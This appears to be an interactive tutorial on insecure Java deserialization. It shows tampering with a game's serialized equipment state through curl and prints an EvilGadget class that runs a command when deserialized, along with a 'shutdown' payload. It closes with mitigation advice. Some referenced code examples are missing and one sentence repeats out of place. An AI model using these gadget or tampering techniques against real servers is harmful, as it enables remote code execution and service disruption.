Insecure deserialization: the basics

What is insecure deserialization?

Serialization is a mechanism to transform application data into a format suitable for transport — a byte stream. Deserialization is the opposite process, converting byte stream into application data. Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.

About this lesson

In this lesson, we will demonstrate an insecure deserialization attack by hacking an API of a video game company. Then, we will dive deeper into Java deserialization, explain the concept of a gadget, and study vulnerable Java code. Finally, we will cover how to mitigate this vulnerability.

But first, let’s hack a video game!

FUN FACT

A game within a game

You discovered an arbitrary code execution bug in some software and are unsure what code to execute. We have some inspiration for you! Check out this article from a 2014 speedrunning event. The article describes how a group of clever speedrunners managed to reprogram the Super Mario World game into … another game.

Discovering insecure deserialization vulnerabilities

Insecure deserialization in action

Hacking a web game

"Dungeons and Money" is here! Your long-time favorite game developer, GreedAndCo, has finally finished the multiplayer online game you have been waiting for since childhood. It’s 11:59pm, and you have been furiously restarting the game, hoping for the login screen to appear.

The clock strikes midnight. With excitement at its peak, you press the login button and finally start playing. But something is not right—even a level 1 rabbit is life-threatening. The game relies on microtransactions! You have to pay $10.99 for an epic sword if you want to kill rabbits. You can’t believe this—you’ve already paid big money for the game. Oh well, it’s time to put your hacker’s hat on and fix this injustice!

small-sword

Wow, this sword really is tiny. But I’m not paying to upgrade. Let’s take a look at the terminal below and see if we can make some modifications.

Understanding the API

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
equipment: “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA=”,
location: “rO0ABXNyAA50b29scy5Mb2NhdGlvbmd3vUzXG/c4AgADSQABeEkAAXlJAAF6eHAAAAAKAAAADwAAABg=”,
}

Maybe these long strings are base64 encoded? Let’s take the “equipment” value and verify that!

Copy and paste the following into the terminal and hit enter:

echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode

Demo terminal

The output is gibberish, but some of it resembles a Java package and class name. Maybe it is a serialized Java object? Our next step would be to decode the base64 string to a file called equip.ser. This would be done by running this command:

echo rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAABAAAAAAAAAAA= | base64 --decode > equip.ser

This will create a file for us that we can use in a bit.

Deserializing Java objects to human-readable format

Now, let’s use a utility from Google: jdeserialize. It prints serialized Java objects in a human-readable form. Remember, we "created" the equip.ser already.

Copy and paste the following into the terminal and hit enter:

java -jar jdeserialize.jar equip.ser

Demo terminal

Changing the game state

Bingo!! Our base64 string is a serialized Equipment class. Looking at the output closely, you will notice that it has a single field of type int[] items. The last part of the dump ([arraycoll sz 5 0, 0, 1, 0, 0]) tells us that the value of the items array is [0, 0, 1, 0, 0].

Your in-game character currently has only 1 item equipped: a level 1 sword. What do you think will happen if we change the value of the array to [0, 0, 20, 0, 0] (change 1 to 20). Let’s try that! First, print the serialized object’s content in hex.

Copy and paste the following into the terminal and hit enter:

hexdump equip.ser

Demo terminal

Notice that the 7th line is full of 0s except 01 in one column. This seems to be the perfect candidate to change! The 01 is located at the 68th position in the file (you can count that in the hexdump output), so let’s flip it to 0x14 (number 20 in hex). We would do this by running the following command (there would be no output, but instead we would be creating another file called equip.ser):

echo "68:0x14" | xxd -r - equip.ser

Finally, we can base64 encode our changed equip.ser file (the one we just created) and send it to the server. We would do this by running:

base64 equip.ser

This would give us an output of:

rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=

And we then attach to the API post request with the output of the base64 command.

curl -H "Content-Type: application/json" -X POST -d '{ "equipment": “rO0ABXNyACRjb20uZHVuZ2VvbnNhbmRtb25leS5zdGF0ZS5FcXVpcG1lbnQPjNIbPjmvPwIAAVsABWl0ZW1zdAACW0l4cHVyAAJbSU26YCZ26rKlAgAAeHAAAAAFAAAAAAAAAAAAAAAUAAAAAAAAAAA=” }' https://api.dungeonsandmoney.com/state/147983414

Remote code execution

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

normal-sword

Now things are looking better! We can take on almost enemy that comes our way. But can we take this one step further. Let’s look at the terminal below to see what we can do!

You’ve heard rumors about the existence of these mythical gadget classes. Apparently, if a Java server has these gadgets on its classpath, it is vulnerable to remote code execution, or so the rumor says.

You Google and find one such class online:

public class EvilGadget implements Serializable {
  private String command;
  public EvilGadget(String command) {
    this.command = command;
  }
  private void readObject(ObjectInputStream in) throws Exception {
     in.defaultReadObject();
     Runtime.getRuntime().exec(command);
  }
}

It is part of a trendy Java framework. Maybe Dungeons and Money’s server depends on that framework? Let’s find out! You write the following code to serialize the EvilGadget class. Note the shutdown parameter you pass as the command!

public static void main(String[] args) throws IOException {
   EvilGadget gadget = new EvilGadget("shutdown");
   ByteArrayOutputStream baos = new ByteArrayOutputStream();
   ObjectOutputStream out = new ObjectOutputStream(baos);
   out.writeObject(gadget);
   out.close();
   String base64Encoded = Base64.getEncoder().encodeToString(baos.toByteArray());
   System.out.println(base64Encoded);
}

We should get:

rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=

Now when we run the following, our game will change again:

curl -H "Content-Type: application/json" -X POST -d '{ "equipment": "rO0ABXNyABFnYWRnZXQuRXZpbEdhZGdldJlTufMW09bEAgABTAAHY29tbWFuZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAIc2h1dGRvd24=" }' https://api.dungeonsandmoney.com/state/147983414

Boom! Your game client crashes, and a gigantic red “Server is down” alert pops up on your screen. The shutdown command must have worked! You’ve just shut down the game server. But how? What is the deal with this “gadget”? Read on to find out!

ridiculously-large-sword

Uh oh… I think we took it a little too far! The game crashed and we can’t use our epic sword!

Insecure deserialization under the hood

State manipulation: a false sense of security

We saw how insecure deserialization can lead to state manipulation and remote code execution in the previous section. State manipulation can happen regardless of serialization being used or not. However, because serialized payloads are more “obscure”, developers tend to assume that serialization somehow protects them against this kind of attack. In reality, it doesn’t matter if payloads are human-readable JSON or obscure binary blobs — if the client can unexpectedly manipulate the state, the whole API needs to be redesigned.

Remote code execution

In the worst case, deserialization vulnerabilities can lead to remote code execution. Let’s look at the EvilGadget class we used in the previous exercise.

It implements the Serializable interface, which tells Java that this class is OK for serialization and deserialization.

Why is insecure deserialization so dangerous?

The exec method of EvilGadget gets executed during the deserialization process. This is key. Consider this attempt to prevent insecure deserialization:

This attack is possible only because the EvilGadget class is available on the classpath of the Java program. Crucially, EvilGadget does not have to be used by the Java program. It can be some distant dependency of the Java application — one of the thousands of classes developers unknowingly pull as part of their third-party dependencies. So, what exactly is a gadget?

Using Java’s magic, we deserialize the payload into an object.

What is a gadget?

A gadget is a piece of code present in the executing application and can be used for malicious purposes. EvilGadget on its own might not be dangerous. In fact, some real-world gadget classes are part of the JDK itself! However, when such classes are included in a Java program that deserializes user-controlled inputs of arbitrary type, it can lead to a disaster.

What is a gadget chain?

You might think that EvilGadget is unrealistic — who would ever create a class that runs random commands when deserialized? How do we exploit deserialization vulnerabilities in the real world if that is the case? Gadget chains to the rescue! Instead of using one evil class, you chain multiple classes to fulfill your nefarious purposes. Consider the below (still fake) example:

It implements the Serializable interface, which tells Java that this class is OK for serialization and deserialization.

Real-world gadgets

In practice, gadget chains are hard to construct but not impossible. Most gadgets come from open source, so the attacker has complete visibility and lots of time to research such chains. Also, Java has this really cool feature called “reflection”, which allows you to dynamically call any classes. This makes things easier. Instead of looking for Runtime.exec or similar, you can look for gadgets that use user input in reflection APIs and call Runtime.exec through reflection.

For instance, take a look at this GitHub repository – it contains many real-world examples of exploitable chains, including some which use reflection.

Other serialization frameworks

All examples we included in this lesson use ObjectInputStream and Serializable, i.e. the deserialization library built into Java core. But, there are many other serialization frameworks in the Java ecosystem. Some of them work with binary data, but many libraries magically transform YAML, XML, JSON, or other formats into a Java object. Are these frameworks/libraries vulnerable to similar insecure deserialization vulnerabilities? Unfortunately, for a lot of them, the answer is yes.

A critical condition for insecure deserialization is that the hacker can force the server to deserialize objects of any type. The hacker can then send payloads with objects instantiated from gadget classes. So a good rule of thumb when choosing your serialization framework is to check whether it allows the user to deserialize objects of any type or just the types you explicitly configure.

Unfortunately, many frameworks/libraries allow the deserialization of arbitrary types by default. And those that don’t still offer some configuration options to enable the deserialization of arbitrary types. Moritz Bechler provides an excellent analysis of deserialization in different Java libraries in his paper.

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Insecure deserialization mitigation

Avoid java custom serialization

Ugh, ok, that’s helpful, thanks. Next!

Know your serialization framework

Some frameworks don’t allow deserializing objects of arbitrary type. These frameworks will check the type of the input object and refuse to run any code if the type is unexpected. For example, Jackson won’t allow you to deserialize objects of random types unless you explicitly turn that behavior on by either invoking the enableDefaultTyping method, or annotating properties with @JsonTypeInfo and using class name as the type id.

Restrict the types of objects you allow to deserialize JS

If your serialization library allows arbitrary types and you can’t turn this behavior off, consider validating the types yourself before deserializing. For example, you can supplement Java’s built-in deserialization API with an open source library like Apache Commons IO. Consider modifying our previously broken EvilGadget example:

Use JDK native solutions like deserialization filters

Furthermore, Java recently got equipped with native solutions to solve deserialization issues, for example the deserialization filters introduced in Java 9 and enhanced in Java 17. Please check out our dedicated blog post which covers these solutions in depth.

Keep learning

To learn more about Insecure Deserialization, check out some other great content:

And some content by Snyk:

Congratulations

Woohoo! You've learned what the risks are of insecure deserialization. You’ve also learned how to mitigate it. Feel free to rate how valuable this lesson was for you and provide feedback to make it even better! Also, make sure to check out our lessons on other common vulnerabilities.